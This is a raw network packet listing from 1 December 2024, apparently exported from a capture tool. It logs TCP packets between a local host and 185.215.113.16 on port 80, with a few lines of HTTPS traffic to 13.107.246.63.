Dec 1, 2024 03:32:54.359998941 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.389699936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.389822006 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.389879942 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.392220974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.392328978 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.392384052 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.397383928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.397452116 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.397525072 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.402487040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.402584076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.402642012 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.407603979 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.407702923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.407761097 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.412748098 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.412836075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.412895918 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.417890072 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.418034077 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.418087006 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.422991037 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.423101902 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.423157930 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.428196907 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.428339005 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.428397894 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.433295012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.433377028 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.433433056 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.438374996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.438479900 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.438529968 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.443491936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.443603039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.443659067 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.448617935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.448704958 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.448777914 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.453748941 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.453860998 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.453921080 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.458852053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.458964109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.459027052 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.464019060 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.464123964 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.464188099 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.469079018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.469192028 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.469248056 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.474230051 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.474270105 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.474325895 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.594793081 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.594871044 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.594944954 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.595938921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.596044064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.596091986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.599857092 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.599961996 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.600023031 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.603770971 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.603842974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.603898048 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.607655048 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.607754946 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.607803106 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.611572981 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.611654997 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.611705065 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.615453959 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.615547895 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.615596056 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.619353056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.619447947 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.619501114 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.623251915 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.623368979 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.623414993 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.627147913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.627237082 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.627290010 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.631071091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.631176949 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.631247044 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.634988070 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.635030031 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.635094881 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.638839960 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.638943911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.639010906 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.642772913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.642920017 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.642971039 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.646635056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.646728992 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.646780968 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.650543928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.650700092 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.650748968 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.654449940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.654531002 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.654582024 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.658313036 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.658433914 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.658487082 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.662230015 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.662342072 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.662391901 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.666138887 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.666243076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.666297913 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.670001030 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.670105934 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.670159101 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.673921108 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.674017906 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.674073935 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.677813053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.677920103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.677973986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.681731939 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.681853056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.681914091 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.685611963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.685709953 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.685765982 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.689506054 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.689599991 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.689651966 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.693399906 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.735105991 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.796494007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.796626091 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.796674967 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.797986031 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.798096895 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.798137903 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.801178932 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.801271915 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.801318884 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.804374933 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.804451942 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.804495096 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.807430983 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.807589054 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.807636976 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.810504913 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.810614109 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.810682058 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.813540936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.813653946 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.813699961 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.816498995 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.816590071 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.816638947 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.819401026 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.819478035 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.819549084 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.822244883 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.822340012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.822397947 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.825573921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.825691938 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.825896978 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.828069925 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.828172922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.828300953 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.830949068 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.831126928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.831176996 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.833842993 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.833941936 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.834126949 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.836735964 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.836844921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.836920023 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.839608908 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.839709997 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.839765072 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.842499018 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.842607975 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.842653990 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.845390081 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.845504045 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.845690966 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.848295927 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.848377943 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.848423004 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.851191044 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.851293087 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.851340055 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.854058981 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.854152918 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.854195118 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.856966972 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.857043982 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.857094049 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.859853983 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.859966040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.860063076 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.862737894 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.862828970 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.862878084 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.865631104 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.865725994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.865783930 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.868514061 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.868621111 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.868679047 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.871417999 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.871519089 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.871637106 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.874289036 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.874396086 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.874505997 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.877177000 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.877286911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.877353907 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.880090952 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.880182981 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.880251884 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.882982016 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.883205891 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.883269072 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.885864019 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.885953903 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.886019945 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.889054060 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.889189005 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.889297009 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.891645908 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.891757965 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.891843081 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.894756079 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.894876957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.894936085 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.897422075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.897532940 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.897665024 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.900321007 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.900433064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.900489092 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.903214931 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.903318882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.903379917 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.906091928 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.906196117 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.906244993 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.908989906 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.909077883 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.909188986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.911955118 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.912067890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.912134886 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.914800882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.914915085 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.914994955 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.917676926 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.917790890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.917840958 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.920605898 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.920689106 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.920737982 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.923429012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.923538923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.923683882 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.926316977 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.969350100 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.997663975 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.997900963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.997966051 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:54.998774052 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.998918056 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:54.999073029 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.000983000 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.001082897 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.001127005 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.003197908 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.003325939 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.003480911 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.005402088 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.005513906 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.005563974 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.007591963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.007704020 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.007761955 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.009761095 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.009833097 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.009876013 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.011857033 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.011975050 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.012021065 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.013972998 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.014079094 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.014127016 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.016047955 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.016146898 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.016228914 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.018105984 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.018224001 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.018271923 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.020142078 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.020211935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.020256042 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.022223949 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.022306919 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.022356987 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.024230003 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.024534941 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.024576902 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.026382923 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.026568890 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.026608944 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.028072119 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.028193951 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.028242111 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.029992104 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.030117035 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.030162096 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.031922102 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.032042027 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.032088041 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.033838034 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.033929110 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.033976078 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.035722971 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.035803080 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.035849094 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.037602901 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.037728071 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:55.037776947 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:55.037956953 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.038448095 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.038482904 CET	443	49784	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:55.038995028 CET	49784	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:55.039005995 CET	443	49784	13.107.246.63	192.168.2.7
